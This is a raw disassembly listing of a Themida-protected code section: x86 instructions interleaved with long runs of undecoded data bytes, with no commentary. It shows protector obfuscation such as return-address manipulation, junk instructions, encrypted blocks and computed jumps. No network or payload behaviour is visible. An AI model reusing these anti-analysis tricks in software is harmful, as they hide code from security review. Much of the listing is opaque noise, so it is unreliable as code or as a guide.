860FB3B7h dd 0 ; --------------------------------------------------------------------------- popa pop edx pop eax add dword ptr [esp], 1CFCD0D2h mov dh, 9Bh push dword ptr [ebp+60B1355h] jmp loc_5B1133 ; --------------------------------------------------------------------------- db 92h dd 423B1F7Bh ; --------------------------------------------------------------------------- sub dl, 0C2h loc_5B1133: ; CODE XREF: Themida_:005B1126j lea eax, [ebp+60E7D18h] movsx esi, bx call eax jnb loc_5B114A mov [ebp+60B0949h], eax loc_5B114A: ; CODE XREF: Themida_:005B113Ej add dx, 9C17h mov [ebp+60B05D9h], eax sub [ebp+60B0E0Dh], ecx xor [ebp+60B0409h], edx mov byte ptr [ebp+60B2845h], 53h mov edx, [ebp+60B0209h] push 0C7824087h mov dh, al xor dword ptr [esp], 4F1A2A7Bh mov [ebp+60B197Dh], edx movzx edx, bx push dword ptr [ebp+60B1355h] mov esi, 6DD3459Eh mov [ebp+60B008Dh], ecx lea eax, [ebp+60E7D18h] mov [ebp+60B14B5h], ebx call eax push 0 push ecx call sub_5B11AF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B11AF proc near ; CODE XREF: Themida_:005B11A7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5B11AF endp ; --------------------------------------------------------------------------- db 62h dd 0F363F595h, 894B3A79h, 0B089185h, 8DD38B06h, 0E3ECA85h dd 16850F06h, 0E9000000h, 11h, 0E3FF9922h, 76303233h, 0A2CB06F5h dd 6D4E6BCDh, 0BD85899Ah, 0E8060B1Bh, 10h, 5C56AD43h, 59830FBDh dd 56C58865h, 9CA44304h, 3121958Bh, 6A5E060Bh, 0FFFF6A20h dd 0B1BBD95h, 41493506h, 85C75350h, 60B1611h, 1, 1585C7h dd 60Bh, 95890000h, 60B22E9h, 0DE9h, 49B13D00h, 0F2B45B6Dh dd 0B67DBC91h, 0BD834607h, 60B2715h, 63840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 7385C356h, 663693A5h, 858BF78Bh, 60B0925h dd 64D38B66h, 0A3h, 0DE816600h, 858B6630h, 60B32B5h, 293D9589h dd 0E08B060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0EEC35343h, 0BD836BB6h, 60B08D1h, 62850F00h, 0F000004h dd 482h, 7FBE6600h, 4585C6C4h, 56060B28h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h, 396C1C7Fh dd 0DC2C3934h, 0EE9h, 0F1DB00h, 0D28ED1CDh, 82FDFEDFh dd 0F7D100Bh, 0D368D3BFh, 606F0BB9h, 0D9D7BA66h, 24048161h dd 3AB9770Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0EDC35545h, 393E89D9h, 10E8h, 9EC6A800h, 6781F523h dd 96ECB945h, 3BD8D4C4h, 219D89E5h, 5A060B09h, 1355B5FFh dd 0B52B060Bh, 60B1A2Dh, 7D18858Dh, 23F8060Eh, 0B0D9D95h dd 0E8D0FF06h, 6, 80E852Bh, 0B58B4395h, 60B1145h, 5E50905Eh dd 66525050h, 310FF78Bh, 585AAEB6h, 0CE890h, 41F40000h dd 16C87F4Fh, 2F59DD9Ah, 0BD895E33h, 60B0699h, 458D8D5Eh dd 8B060B05h, 0BA6650D6h, 0C89B64Eh, 68B0F24h, 89000000h dd 0B19C19Dh, 9FC28106h, 6A235F07h, 0F6BF0F04h, 4E8h, 100000h dd 60525000h, 1FB25853h, 0BE310F61h, 7DC99140h, 6050585Ah dd 23FE5DB8h, 10E95366h, 7D000000h, 5F9F683Bh, 55DA7197h dd 0CD665275h, 58314EE7h, 24448B61h, 0F18B6604h, 0F18B008Bh dd 4244489h, 8B58F18Bh, 0B090D95h, 9DB5FF06h, 0F060B15h dd 0BD89F2BFh, 60B005Dh, 25BED0FFh, 0E80E13EAh, 0Fh, 0B28C7AABh dd 5F363211h, 70B4A164h, 0F0F21C3h, 8B5EF2B7h, 0B159DBDh dd 0F3BF0F06h, 6A3C7F03h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 80B4C355h, 8166AAF9h dd 81A688F2h, 0F8C7h, 2447C700h, 60000020h, 83F28B66h dd 124EEBBDh, 840F0006h, 187h, 28C783FCh, 0CFDE8166h, 0EE97Ch dd 5E30000h, 98529F45h, 523554C1h, 0A2596626h, 6A2E07C7h dd 47C76469h, 61746104h, 6830F00h, 8B000000h, 0B243D95h dd 0F3858B06h, 6A06124Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0BB62C353h, 0EC987754h dd 28E3C667h, 81D18B66h, 99BE37E6h, 0C47891Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 71C35141h, 7012DFD6h dd 0E989A6B1h, 11h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h dd 0F7858B5Ah, 6606124Eh, 89D023BEh, 6A0847h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 79A00FC3h dd 0F618C359h, 11D958Bh, 0C783060Bh, 8E928h, 4A90000h dd 3ED375DCh, 7C72643h, 6E6F632Eh, 89F0BF0Fh, 0B2905B5h dd 447C706h, 676966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0BEC35343h, 895EA584h, 0B0151BDh, 0EF858B06h dd 0F906124Eh, 890C4789h, 0B1F718Dh, 0EB858B06h, 6A06124Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0B038C353h, 4789182Eh, 52006A08h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0F8CB8454h dd 0D625D687h, 31B58BEBh, 58060B16h, 6E9h, 0A64EC200h dd 89CF9A58h, 0B2361BDh, 118D8D06h, 6A060B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 9377C352h, 8E0E008h, 7E98D27h, 74000000h, 0D68543B3h dd 10E9F58Bh, 6E000000h, 0DF2FF589h, 10595475h, 0C2C1FEDBh dd 5010CF0Eh, 0BA665250h, 310F1591h, 4739ACBEh, 89585A14h dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E7B741C3h, 0F4160A18h, 5959D01h, 0B5FF060Bh dd 60B0545h, 9D8B60FCh, 60B1585h, 92D8D89h, 6861060Bh dd 0E6367F81h, 28F0Fh, 0D78B0000h, 7F240481h, 8B19C990h dd 0B0835B5h, 830F5306h, 0 ; --------------------------------------------------------------------------- pop edx push dword ptr [ebp+60B159Dh] mov esi, [ebp+60B1685h] call eax push 0 push eax call sub_5B171A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B171A proc near ; CODE XREF: Themida_:005B1712p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B171A endp ; --------------------------------------------------------------------------- dw 8B23h ; --------------------------------------------------------------------------- setalc mov eax, 0 xor edx, [ebp+60B016Dh] or eax, eax jz loc_5B1787 or [ebp+60B05B9h], edi push dword ptr [ebp+60B281Dh] push 0 push esi call sub_5B1757 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1757 proc near ; CODE XREF: Themida_:005B174Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5B1757 endp ; --------------------------------------------------------------------------- db 27h dd 587A4F16h, 81A17A3Eh, 1F0FDCF2h, 31958914h, 0FF060B05h dd 0B0AC595h, 458D8906h ; --------------------------------------------------------------------------- daa or eax, [esi] loc_5B1787: ; CODE XREF: Themida_:005B173Aj mov eax, eax push 0 push edi call sub_5B1794 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1794 proc near ; CODE XREF: Themida_:005B178Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B1794 endp ; --------------------------------------------------------------------------- mov ds:972BEBD2h, al lodsd retn 0D58Ah ; --------------------------------------------------------------------------- xor [ebp+60B32A1h], edx and edx, [ebp+60B1341h] cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_5B17CB cmp dword ptr [ebp+60B29D1h], 0 jz short loc_5B17E4 loc_5B17CB: ; CODE XREF: Themida_:005B17C0j push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+60B1299h], eax lea ebx, [ebp+60DB381h] call ebx pop ebx pop eax loc_5B17E4: ; CODE XREF: Themida_:005B17C9j cmp dword ptr [ebp+60B29D1h], 0 jz short loc_5B1804 push eax push ebx mov eax, 42Dh mov [ebp+60B1299h], eax lea ebx, [ebp+60DB022h] call ebx pop ebx pop eax loc_5B1804: ; CODE XREF: Themida_:005B17EBj xor [ebp+60B2429h], edx mov edx, [ebp+60B0C29h] mov eax, eax push 0 push edx call sub_5B181D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B181D proc near ; CODE XREF: Themida_:005B1815p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B181D endp ; --------------------------------------------------------------------------- jecxz short loc_5B187A mov esi, [ebp+60B0789h] mov eax, eax lea ecx, [ebp+612585Bh] mov esi, [ebp+60B2A05h] mov [ebp+60B174Dh], ecx mov edx, [ebp+60B294Dh] mov dword ptr [ebp+60B0119h], 5850h push 0 push ebx call sub_5B1864 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1864 proc near ; CODE XREF: Themida_:005B185Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B1864 endp ; --------------------------------------------------------------------------- dd 4D5F5564h db 15h, 0E5h ; --------------------------------------------------------------------------- loc_5B187A: ; CODE XREF: Themida_:005B182Dj lodsd sbb [edi], cl mov eax, [esi] ; --------------------------------------------------------------------------- db 0 dd 9D8B0000h, 60B2E81h, 100985C7h, 60Bh, 810F0000h, 4 dd 0BA45BE66h, 0ED9B5FFh, 800F060Bh, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+60B0AC5h] push 0 push edx call sub_5B18B9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B18B9 proc near ; CODE XREF: Themida_:005B18B1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B18B9 endp ; --------------------------------------------------------------------------- db 0A5h, 0CEh, 36h ; --------------------------------------------------------------------------- push esi or bx, 1CCDh pop esi jmp loc_5B18EA ; --------------------------------------------------------------------------- dd 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h db 1Dh, 0EBh ; --------------------------------------------------------------------------- loc_5B18EA: ; CODE XREF: Themida_:005B18D3j pusha xor eax, [ebp+60B00E1h] or [ebp+60B1F89h], edx popa push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_5B1911 ; --------------------------------------------------------------------------- dd 0F87EBE87h, 0B5BDB240h, 0F3413013h db 77h ; --------------------------------------------------------------------------- loc_5B1911: ; CODE XREF: Themida_:005B1902j jmp short loc_5B1917 ; --------------------------------------------------------------------------- db 10h db 11h, 87h, 72h ; --------------------------------------------------------------------------- loc_5B1917: ; CODE XREF: Themida_:loc_5B1911j jmp loc_5B1E7C ; --------------------------------------------------------------------------- dd 0FE655CA6h, 28CB0611h, 469DACFFh, 0F16251A9h, 22310C14h dd 6BB14C93h, 191E8F54h, 0C6CE3F24h, 6EBB548Fh, 0F17B8053h dd 8645097Dh, 3D2F9EC5h, 4E89C4D0h, 80EE33D6h, 0DB41EFBDh dd 14F8D5DEh, 0F3605FA5h, 59A10112h, 5EB2967Ah, 0ED7A2F8Ch dd 9C486D32h, 0DA2F9E72h, 63B21BEFh, 88A2E256h, 0B683947Dh dd 0A2F223ADh, 84907DABh, 2B7DAA49h, 0DCE33BEAh, 94D87014h dd 97AAF9C3h, 0AFED228h, 0ADF25AA3h, 0E0C4F305h, 0FDDCE31Ch dd 526A23F8h, 8BB61A7Eh, 117FC09h, 11A32D36h, 9482E99Dh dd 0EA047EC3h, 573B1663h, 9482EE9Fh, 636238C3h, 7DD92CD9h dd 0E381C2Bh, 418FFD2Ch, 3DB1C332h, 0C3948E49h, 0B74AE4DEh dd 5Bh, 0F8D5DE51h, 1DAEDC14h, 2C66C394h, 0F0C26BA1h, 0DF83240h dd 44C8F7h, 1213E6h, 52890000h, 0BFAF8F15h, 5168BB99h dd 0C4B5A9EDh, 0F46A84B5h, 16FAD7DEh, 5632BAC4h, 0D9C3941Dh dd 0BFC647E1h, 374F3E82h, 564C8408h, 616ECD57h, 0A909537Eh dd 2077D670h, 0D025C211h, 0DE867EE5h, 0A617FBDAh, 95A4F75Fh dd 589ED21h, 0A74C595Bh, 7410945Dh, 0FBC3941Dh, 57B0A387h dd 196D8142h, 0AEC3941Dh, 0F01F92ADh, 0BA807FB1h, 0F80BF246h dd 83774E54h, 62E76B4Fh, 0C9F80FFEh, 0F008851Fh, 32417249h dd 9960h, 0FE0DF800h, 0ED1B7FC3h, 0FBDADE77h, 0CAA5CA71h dd 784009EFh, 0D00E7AF2h, 0B981C394h, 0AB1BB8Fh, 0A08FB105h dd 2C21CFFFh, 738937DDh, 6D2DF53h, 3C765E22h, 0AAFA2BB1h dd 80987593h, 1CE0D928h, 0E716C438h, 0EC87A190h, 72C6F903h dd 0ED97738Bh, 0B9F5F795h, 65DA0064h, 6F035AC1h, 704D2DBFh dd 42429BA4h, 96AB9F49h, 0D0098302h, 0D93241C2h, 62h, 0FBDADE27h dd 675EA617h, 2DC846F5h, 73B58FCCh, 17311524h, 0CD72FE33h dd 41BC2008h, 49E48F5h, 25186089h, 0D7DEC63Eh, 0AFDE16FAh dd 2EC3941Dh, 0B766EAE7h, 31EF536Eh, 7C84F6F7h, 0F01DA726h dd 2D41ABAAh, 0C3941D59h, 0C03AD42Eh, 3240F029h, 0D00h dd 156D9800h, 0B786112Eh, 0A2EFB3Eh, 0D3DE66DCh, 56A30AFEh dd 2E6A977Bh, 162B769Fh, 700B91CDh, 0D3EE3BEAh, 0B229BB35h dd 8D9774DBh, 0ADDA85B2h, 8D441FFAh, 8CE0EB89h, 85879262h dd 52A8BD9Eh, 0DFEA3FEEh, 51D8804h, 0D8764A3Eh, 77802075h dd 531F7981h, 59BD9746h, 0C9BD91F5h, 9D8DC03h, 19394DE1h dd 0B48E3A61h, 0DA04B38Bh, 152A582Ch, 0C51F3A61h, 6ED623C8h dd 0BD5A2E23h, 6B8F461Dh, 0D7A69A54h, 0CB0FF3CEh, 96E30CD7h dd 940AB1BBh, 0E05B2055h, 25947CAAh, 0A711E5D0h, 103F36A5h dd 771EE865h, 29CEDFD9h, 8672E1DCh, 2C363867h, 14F42h dd 0EF4CDE00h, 0B81BD0A1h, 53373F6Bh, 943A61FFh, 0A9C3DEE1h dd 734730F3h, 50BD6FD5h, 4EE67445h, 0C3941D3Ah, 39BB58Dh dd 0F478E279h, 0BD9EFF85h, 95CA106Ah, 5DDD95D7h, 967A94B7h dd 7CE7D227h, 0A14B8693h, 0A8EB9F17h, 2C723A60h, 0B650AA15h dd 0A39EEB52h, 0A62761DFh, 95A4F322h, 0CA43ED21h, 0A5578CB9h dd 2C35A584h, 0C08428BAh, 473A60A4h, 48758A73h, 936680C4h dd 3Dh, 5F1EBD7Dh, 470E75F8h, 44758475h, 2A729CF0h, 8C20CA51h dd 0C394A2A8h, 1FD7BB9Fh, 0C394A26Bh, 0E0B63769h, 0D25A809Bh dd 0C394A2E6h, 13E27149h, 0A0h, 68C8DCC9h, 1CCA2E13h, 760D6F26h dd 52140E4h, 0D2C3BD9Fh, 0C3078BC2h, 85512734h, 0D27C7FE5h dd 0D0B90D75h, 0BC698AC7h, 0D11A856Bh, 3325BCBAh, 0B4FB6BDFh dd 0BF3A6038h, 76836865h, 942A915Bh, 0ED990DBBh, 623A6093h dd 6F48FF18h, 68AC7D2h, 0A740EEC2h, 4C9EA5F7h, 967A59A1h dd 0FEA485B2h, 0FC149DE8h, 0DB149852h, 6C447109h, 63477A83h dd 0E8E52E9Fh, 87CF002h, 9F3076B9h, 0D4858DBBh, 5900F4C5h dd 0B9897D40h, 0ED286263h, 3C401697h, 7AAB3527h, 65F11F26h dd 4E6750CAh, 0C43C271Bh, 754850BDh, 0A2B9C3DBh, 0F4FB34B8h dd 764CBD85h, 0D7EA39E4h, 5F231266h, 9445CD7Bh, 40ADB683h dd 0BEB61A37h, 0A9ED787Fh, 5B404D67h, 7E0734Eh, 0E973C7F2h dd 72F76572h, 0CC2F8EFAh, 1E390146h, 0F71198D2h, 4D310016h dd 2CD5D0D0h, 9875EEDBh, 9CEB28Fh, 12h, 4150BD93h, 0BB35DE08h dd 1DC18529h, 7C46C394h, 0D4DE6CD2h, 57A009FDh, 0D127967Ah dd 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h dd 0FA0DFC40h, 56CF7BCFh, 0C681E689h, 4, 4BB53h, 0DE290000h dd 2434875Bh, 426D685Ch, 34890000h, 4A156824h, 1C890000h dd 0BABB5324h, 81387219h, 6E0629F3h, 1BEB815Eh, 896009C7h dd 241C8BDEh, 4C481h, 0EC810000h, 4, 81242489h, 42404h dd 575B0000h, 7B89F789h, 243C8B08h, 4C481h, 1C8B0000h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 5E2434FFh dd 4C481h, 6CE90000h, 0ADFFF921h, 120319D0h, 3432EF2Ch dd 79C69D38h ; --------------------------------------------------------------------------- loc_5B1E7C: ; CODE XREF: Themida_:loc_5B1917j mov eax, 6125D43h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0ECh, 0B6h, 0CEh dd 34D5A824h, 7800311Eh, 5D311D2Fh, 6F047402h, 2415428h dd 0BF0BBE5Ch, 699E2D1Fh, 0D811B14Fh, 0D8F55927h, 7E2F8B5Dh dd 0CAEC1641h, 6C308B56h, 234FB513h, 0EF291150h, 263FF35Ah dd 38F5C71Dh, 0D3DEF016h, 7C878E11h, 49E0C350h, 0DF852777h dd 2C90DE7Dh, 13DAC92Bh, 0CD09FD30h, 4233364h, 0C556A46Bh dd 8EA90C51h, 0F537EA66h, 0DA1BAC6Bh, 0CF4BF61Fh, 9384DF58h dd 284F237h, 0D604EB54h, 0E900B531h, 557h, 8A6960B2h, 243F0A1Dh dd 5281B8CBh, 8D566DB5h, 3E251860h, 67BD5087h, 156A9B58h dd 0CADACB28h, 728760F3h, 0FD6F9C47h, 86431D69h, 0BD2392C5h dd 14F8D5DEh, 0F3605FA5h, 26340112h, 2397A2F7h, 60C941EFh dd 6958AF17h, 0F94DA1E5h, 26340510h, 7886AEB9h, 56AA1E23h dd 8ED306A9h, 5406E6Ch, 6200444h, 7C435B02h, 0F9D42188h dd 0E8E53F15h, 6964BE96h, 995A7780h, 362D186Ch, 0CF0CFD9h dd 9579445Dh, 13E7DE24h, 0E46855AAh, 45AA3B79h, 53B71B36h dd 0C7C6C27Fh, 0E224D6DEh, 0B70E204h, 3F99ED01h, 146EC394h dd 0E607DC30h, 14DCA09Dh, 0C3943F75h, 12E6E7BDh, 324112FBh dd 59D6h, 0D5DE3E00h, 0AEDC14F8h, 66C3941Dh, 0C26BA12Ch dd 0EF3240F0h, 1, 0FAD7DE09h, 6150A716h, 575E4F9Dh, 3941CC7Ah dd 445EB61Ah, 3DB1C349h, 0C3941D49h, 1D4F3BB3h, 0FAC0C394h dd 6A67B01Dh, 2275D876h, 0F3477E82h, 4FB8BB9Fh, 0BC899A3Ah dd 0F605F4C8h, 3F1377DBh, 33BDDC24h, 941DCFBBh, 0CC7A40C3h dd 0B0043B41h, 3F83BEC9h, 8509484Eh, 1F5C0D4h, 7D119C14h dd 0FC048183h, 1D8EFA72h, 0AC01C394h, 84756954h, 0A6A7417Ch dd 17F06352h, 9A433702h, 4BCEB28Fh, 29D45C69h, 0F7931BD0h dd 78C3941Dh, 665A2E02h, 0F2A756C8h, 0A3823240h, 6A000000h dd 266EDADEh, 3675B2Fh, 8EC3CEBFh, 0D5D0CA3Ah, 0AE9D42Ch dd 8CF86CFEh, 3C3941Dh, 1D21A5C9h, 5CA6C394h, 257FCE78h dd 2A6BD01Ah, 0D3839ACDh, 5F45C8Ah, 0E914C6FDh, 0C1DBA291h dd 45F850FEh, 83BA4E5Fh, 0AE324183h, 9Ch, 0C233BDB6h, 3E4A9AB7h dd 0B1C3941Dh, 6AAE9F49h, 0F14816Bh, 1D24A0C4h, 57ABC394h dd 0C24B8F73h, 0DD3185BCh, 0E00DDF33h, 0A3274F94h, 24C3941Dh dd 3216FADEh, 0D0EF3914h, 0F223096Ch, 0E226AAA7h, 0BA636244h dd 608D5F66h, 70543811h, 47C77DC7h, 113FEAE0h, 50BDAE56h dd 98870B4Ah, 0B4B1EF2Bh, 59F7EB8Bh, 0F205A1F4h, 3B1F73C7h dd 7B0FA731h, 0CCC39460h, 0C5F407F6h, 7E0F272Bh, 88C39460h dd 4004A83Ah, 0C7C39460h, 5E221F66h, 0CEE8067Ah, 6E24C53Fh dd 10D3241h, 0EB000000h, 0AFED3DEh, 977B56A3h, 13E7DE26h dd 9F635AAAh, 1E707DB7h, 0FF24A1E3h, 18469DACh, 0F96DFF84h dd 0BD9EFCFCh, 0D4850971h, 806DF6C3h, 64F65A77h, 0E3576AB9h dd 5D29BDAFh, 0D23A60C0h, 0D4B63EE8h, 0ED3A60C0h, 0C4D136B7h dd 68BD6A89h, 151E8F5Dh, 533A0E38h, 0D9870B46h, 93A5A817h dd 0CB559CEFh, 0E50A9B1Dh, 8B7A590h, 40E451C3h, 3A60E204h dd 88B78Bh, 3EB9578Ah, 35752BC2h, 148062Ch, 0BDEE0000h dd 336EA11Eh, 6E982B61h, 27354E2Eh, 9EE1EE8Fh, 977B5FBDh dd 73E0DD26h, 0C0B48192h, 0E7DBC57Ah, 5B2C58CCh, 5FA33A60h dd 88DC79A0h, 599AEF5Eh, 6069B1D5h, 8617363Ah, 0F7E12E04h dd 2A301408h, 7593AEFBh, 9F29239Dh, 60487317h, 608EF43Ah dd 555E4746h, 0DF69FB78h, 60483357h, 3155D93Ah, 0B63A6048h dd 3E8FF34Ch, 1175D9F8h, 45E405F7h, 35CD2C35h, 2B000000h dd 0E5770C6Fh, 62E3E45Bh, 0A2465BE1h, 3FC4F084h, 57ABC394h dd 3F0743E3h, 1B1DC394h, 29C7D48Ah, 391DE1DCh, 0BB9F17C5h dd 8CC3943Fh, 9B56ADB6h, 0FE000000h, 687F1EBDh, 0C881D155h dd 65FE9E1Eh, 0C22E7FF7h, 5BBFBD9Fh, 221F6491h, 0CDD7A5Eh dd 0ED080ABh, 0A811F917h, 14F1625Fh, 0E2423603h, 3A6143DDh dd 51251860h, 0DCA099E8h, 28626321h, 0BA3ECF15h, 0A12D1B05h dd 42EC379Dh, 5083BECBh, 2F787606h, 0C12C3E12h, 836D9BB6h dd 70DBB86Bh, 45C93144h, 0C2B68394h, 1A505D57h, 0E173F982h dd 76CB394Dh, 9AB48E30h, 4F5746D0h, 9E488C70h, 673815D6h dd 0C5B7564Eh, 8DCEEF53h, 5DED023Dh, 33DFA4A7h, 95E00DDFh dd 52FCD0A4h, 0D6F6391h, 46BA95E3h, 0EED31094h, 261CBD85h dd 0BB538852h, 0E741F930h, 62B796B0h, 0AC80BDC2h, 704D56B7h dd 0B82CBE8Ch, 3A7978CCh, 79ED7F43h, 3A79780Dh, 0C68EB882h dd 47DF8C1Ch, 0D7BB96E1h, 57261B66h, 0D38D7140h, 4ABAD4D1h dd 5BAC5550h, 0F18F56Eh, 5FFC4E32h, 0D4241770h, 3551D571h dd 0BA30D2CEh, 4BC26C40h, 9DB80C33h, 14618607h, 96D58ACh dd 58CC5EEAh, 30D2CE2Ch, 5CB15FA3h, 358A7E4Bh, 8, 3DE8845Fh dd 0CC32DCEBh, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh dd 0E78957CFh, 4C781h, 0EF830000h, 243C8704h, 242C895Ch dd 6F7168h, 24048900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov eax, 5C7E1011h push edi mov edi, 7B4F36F2h xor eax, edi pop edi xor eax, 2123788Fh push 435Fh mov [esp], esp add dword ptr [esp], 4 pop edi push esi mov esi, eax push esi pop dword ptr [edi+8] pop esi push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- jmp short loc_5B249A ; --------------------------------------------------------------------------- dw 0B8B3h dd 6126345h, 0E0FFC503h, 67269113h, 2BD01486h, 3D5CF4FFh dd 49D2A076h, 4A9C31EAh, 7698C97Eh, 3FEE7F8Ch, 16602B76h dd 7B2F229h, 34B25440h db 0BDh ; --------------------------------------------------------------------------- loc_5B2499: ; CODE XREF: Themida_:005B24EBj inc esp loc_5B249A: ; CODE XREF: Themida_:005B2464j and ah, [eax] or ebx, [ebx+60h] add eax, 2582BFC5h aaa pop edi pop esp das mov edx, 0D71145C4h lock mov dword ptr [ecx-75h], 0E468FDD5h push ds mov esp, 819AFF65h jno short near ptr loc_5B24BD+4 loc_5B24BD: ; CODE XREF: Themida_:005B24BBj rcl byte ptr [edx-2360A5FEh], cl sub eax, 0E7B3C3Bh jg short near ptr loc_5B253D+2 movsb db 36h add al, 52h mov al, ds:151FDA5Ch push ds push 0FFFFFFEDh jnp short near ptr loc_5B24E2+4 jnp short loc_5B2526 aas idiv word ptr ds:68D635EAh loc_5B24E2: ; CODE XREF: Themida_:005B24D6j sbb dword ptr [ebp+edx-12h], 0A8F01F80h movsb jo short loc_5B2499 movsd mov byte ptr [ebp+ecx*4-73h], 23h adc al, gs:[esi] push 0 push ebp call sub_5B2501 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2501 proc near ; CODE XREF: Themida_:005B24F9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B2501 endp ; --------------------------------------------------------------------------- db 2 dup(52h), 8Dh dd 0BF5DFB82h, 80250FEFh, 0E4801DDFh, 4D8D8981h db 17h, 0Bh ; --------------------------------------------------------------------------- loc_5B2526: ; CODE XREF: Themida_:005B24D8j push es mov dword ptr [ebp+60B0119h], 6E6Ch jnp loc_5B253C xor ax, 7552h loc_5B253C: ; CODE XREF: Themida_:005B2531j push edi loc_5B253D: ; CODE XREF: Themida_:005B24C8j jmp loc_5B2549 ; --------------------------------------------------------------------------- mov ch, 92h or eax, 0F7972591h loc_5B2549: ; CODE XREF: Themida_:loc_5B253Dj pop ebx mov dword ptr [ebp+60B1009h], 0 push 0 push edi call sub_5B255F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B255F proc near ; CODE XREF: Themida_:005B2557p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B255F endp ; --------------------------------------------------------------------------- db 0B3h dd 91BA6612h, 0B5FFF987h, 60B2705h, 148A0Fh, 0FE90000h dd 98000000h, 58CC8F89h, 0C694F390h, 6B4D2DC2h, 95FF5CCEh dd 60B0AC5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 9FC35343h, 858B5271h, 60B2F5Dh, 95FF006Ah, 60B32DDh dd 6BEBC08Bh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh dd 0C1493D50h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0C397D194h, 5A382B7Eh dd 621C7517h, 34431400h, 7312C8CBh, 42C3FB48h, 0A22034BAh dd 78917644h, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h, 65B03582h dd 4520CD69h, 6057E78Ch, 0EB602956h, 0C51A9E04h, 5BBE94Dh dd 36400000h, 0DC2BC41Fh, 8A9976EDh, 3B43ACB7h, 0EA2EDF04h dd 0A2C908EBh, 0D50E314Bh, 5DEE338h, 0B2A19CE8h, 0EE754055h dd 23A7CF1Dh, 0A4C58678h, 0D5DE6FD5h, 5FA514F8h, 112F360h dd 8C994034h, 91CCDB1h, 1D22A6CEh, 5DA5C394h, 67BD9579h dd 0EB33E266h, 0AB1F3241h, 4B8F7357h, 9C67B09Dh, 941D7C08h dd 0AB8FF3C3h, 0EB495F48h, 0E7DBAF92h, 61B75083h, 1D780CA0h dd 1ECFC394h, 71553918h, 8755391Dh, 2559A58h, 618F9678h dd 26AA97ECh, 876C793Bh, 139D4671h, 4B5179ACh, 4BE5D38Eh dd 3084B1C2h, 94685130h, 1ECAD0C3h, 7C502419h, 0BDC5B418h dd 0DED03286h, 983B3CFh, 65E504FCh, 0A3CC3241h, 28000000h dd 0A4750BDh, 0A9A44286h, 92AFF45Ch, 0FC881C2Eh, 73C3941Dh dd 0ADC12B0Fh, 0C3941DD9h, 8C7054AEh, 941D26A4h, 0FF5CEEC3h dd 33DDFD07h, 1294B2A1h, 77FF0993h, 0C394DA13h, 354B7594h dd 0B18A5291h, 0A049B35Dh, 89324197h, 0Ah, 